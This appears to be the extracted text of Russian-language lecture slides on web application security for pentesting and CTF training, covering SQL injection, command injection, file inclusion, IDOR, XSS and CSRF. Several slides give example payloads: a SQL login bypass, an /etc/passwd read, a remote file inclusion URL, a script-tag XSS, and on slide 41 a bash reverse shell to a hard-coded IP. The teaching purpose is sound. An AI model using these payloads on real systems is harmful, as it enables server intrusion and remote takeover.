Академический Документы
Профессиональный Документы
Культура Документы
1
Почему появилась потребность в Web безопасности
2
Где можно найти безопасность веба в ИБ вакансиях
● Penetration Tester
● Application Security
● Red Team Specialist
----
● Bug Bounty*
3
Где можно найти безопасность веба в ИТ вакансиях
● Разработка
● QA специалист
● DevOps (в области конфигурации веб сервера)
4
Какие навыки можно получить занимаясь вебом
5
Общая идея тестирования веба
6
Почему вообще появляются уязвимости?
7
Чем руководствоваться при поиске этих проблем
● OWASP WSTG
● OWASP Top 10
● OWASP API Top 10
● PortSwigger
● Hacktricks
8
Как выглядит общение с сайтом
9
Как НЕ выглядит общение с сайтом
10
В чем разница? Пользователь может и будет
действовать нестандартно.
11
Что видит пользователь Что видит хакер
12
13
Как выглядит тестирование веб приложения
14
Что есть помимо Burp Suite?
● OWASP ZAP
● Charles proxy
● Proxyman
----
● Wireshark*
15
16
Server-side (backend)
17
Чего мы хотим достичь
18
А это достигается…
● SQL Injection
● Command Injection
● File Inclusion
● Sensitive Data Exposure
● File Upload Vulnerabilities
● IDOR
● Security through obscurity
19
Лекционное задание 1 до 8 октября 10:30
20
Лекционное задание 1 до 8 октября 10:30
Пример запроса:
from=@user_petya&to=@user_vasya&amount=100&cur=RUB
21
Injection (Общая идея)
22
23
24
Но есть нюанс
25
SQL Injection
26
Пример SQL Injection
27
Идея
28
Запрос
29
Как делается полезная нагрузка
30
Пример полезной нагрузки
Password:
‘ or login=‘admin
Тогда полный запрос будет выглядеть так:
31
Какие могут быть последствия
32
Как не допустить SQL Injection
33
Как эксплуатировать SQL Injection
● Ручками
● Использовать sqlmap
● Использовать ghauri (привет, webpwnchat!)
34
Что осталось за кадром
35
Command Injection
36
Пример Command Injection
37
Идея
38
Запрос
39
Как делается полезная нагрузка
40
Пример полезной нагрузки
Login:
../../etc/passwd||
Тогда полный запрос будет выглядеть так:
41
Пример полезной нагрузки (reverse shell)
Login:
../../etc/passwd||sh -i >& /dev/tcp/193.124.117.118/4444 0>&1||
Тогда полный запрос будет выглядеть так:
42
Какие последствия Command Injection могут быть
43
Как не допустить Command Injection
44
Как эксплуатировать Command Injection
● Ручками
● Использовать commix
45
Что осталось за кадром
46
File Inclusion
47
Пример File Inclusion
48
Идея
49
Запрос
50
Как делается полезная нагрузка
51
Пример полезной нагрузки
page:
http://bulbahackers.by/special.php
Тогда сервер может обратиться к bulbahackers.by за файлом special.php
52
Какие последствия File Inclusion могут быть
53
Как не допустить File Inclusion
54
Как эксплуатировать File Inclusion
● Ручками
● Использовать LFISuite
55
Sensitive Data Exposure
56
В чем проблема
57
Real world examples
58
Как не допустить подобные проблемы
59
Как искать подобные уязвимости
● Опыт
● Использовать intercepting proxy (и смотреть на запросы)
● Инструменты вроде dirsearch, ffuf
● Обращать внимание на интересный функционал
60
Что такое интересный функционал
61
File Upload Vulnerabilities
62
В чем проблема
63
Наиболее частые проблемы разработчика
64
Как не допустить эти проблемы у себя
● НЕ ИЗОБРЕТАТЬ ВЕЛОСИПЕД
● Загружать файл не на сервер с приложением, а в специализированное
хранилище
● Оперировать не объектами, а ссылками на объекты
65
Как эксплуатировать эти проблемы
● Руками
● + Hacktricks, чтобы узнать интересные случаи этой уязвимости
66
Insecure Direct Object Reference (IDOR)
67
Пример IDOR
68
Идея
69
Запрос
70
Как делается полезная нагрузка
71
Пример полезной нагрузки
72
Какие последствия IDOR
73
Как не допустить IDOR
74
Как эксплуатировать IDOR
● Ручками
● ffuf
● Кастомные скрипты
75
Security through Obscurity
76
В чем проблема
77
Как не допустить эти проблемы у себя
78
Как эксплуатировать эти проблемы
79
Лекционное задание 2 до 8 октября 10:30
80
Client-Side (Frontend)
81
Чего мы хотим достичь
82
Этого мы можем достичь…
● XSS
● CSRF
И так далее
83
Лекционное задание 3 до 8 октября 10:30
84
Cross Site Scripting (XSS)
85
Пример XSS
86
Идея
87
Какие существуют типы XSS
● Stored
● Reflected
● DOM-Based
88
Пример запроса с Reflected XSS
https://example.com/search?name=<script>alert(1);</script>
89
Как делается полезная нагрузка
● Зависит от цели
● В большинстве случаев, используют готовую нагрузку (например,
xsshunter)
● Либо, специфичную для сайта, так как мы можем управлять
пользователем и его сессией (например, из его аккаунта обновить
персональные данные или перевести деньги другому пользователю)
90
Пример полезной нагрузки
91
Какие последствия XSS
92
Как не допустить XSS
93
Как эксплуатировать XSS
● Ручками
● PortSwigger (очень много полезной информации)
● XSSHunter (супер удобное приложение для работы с XSS)
94
Cross Site Request Forgery (CSRF)
95
В чем проблема
96
Как не допустить эти проблемы у себя
97
98
Как эксплуатировать эти проблемы
99
Web в CTF
100
Что можно встретить на соревнованиях
101
Как находить информацию для решения веба
● Гугл
● PortSwigger
● Гугл “ctf web <technology> writeup”
● OWASP TOP 10 (+ API + WSTG)
● Официальная документация (технологий или браузера)
102
Что делать, если идей нет вообще?
103
Ответы на вопросы
104
Что дополнительно изучить для веба
● PortSwigger Academy
● OWASP TOP 10 (+ API + WSTG)
● Hacktricks
● The Tangled Web: A Guide to Securing Modern Web Applications
● developer.mozilla.org
● Практика CTF соревнований
105
Практика
106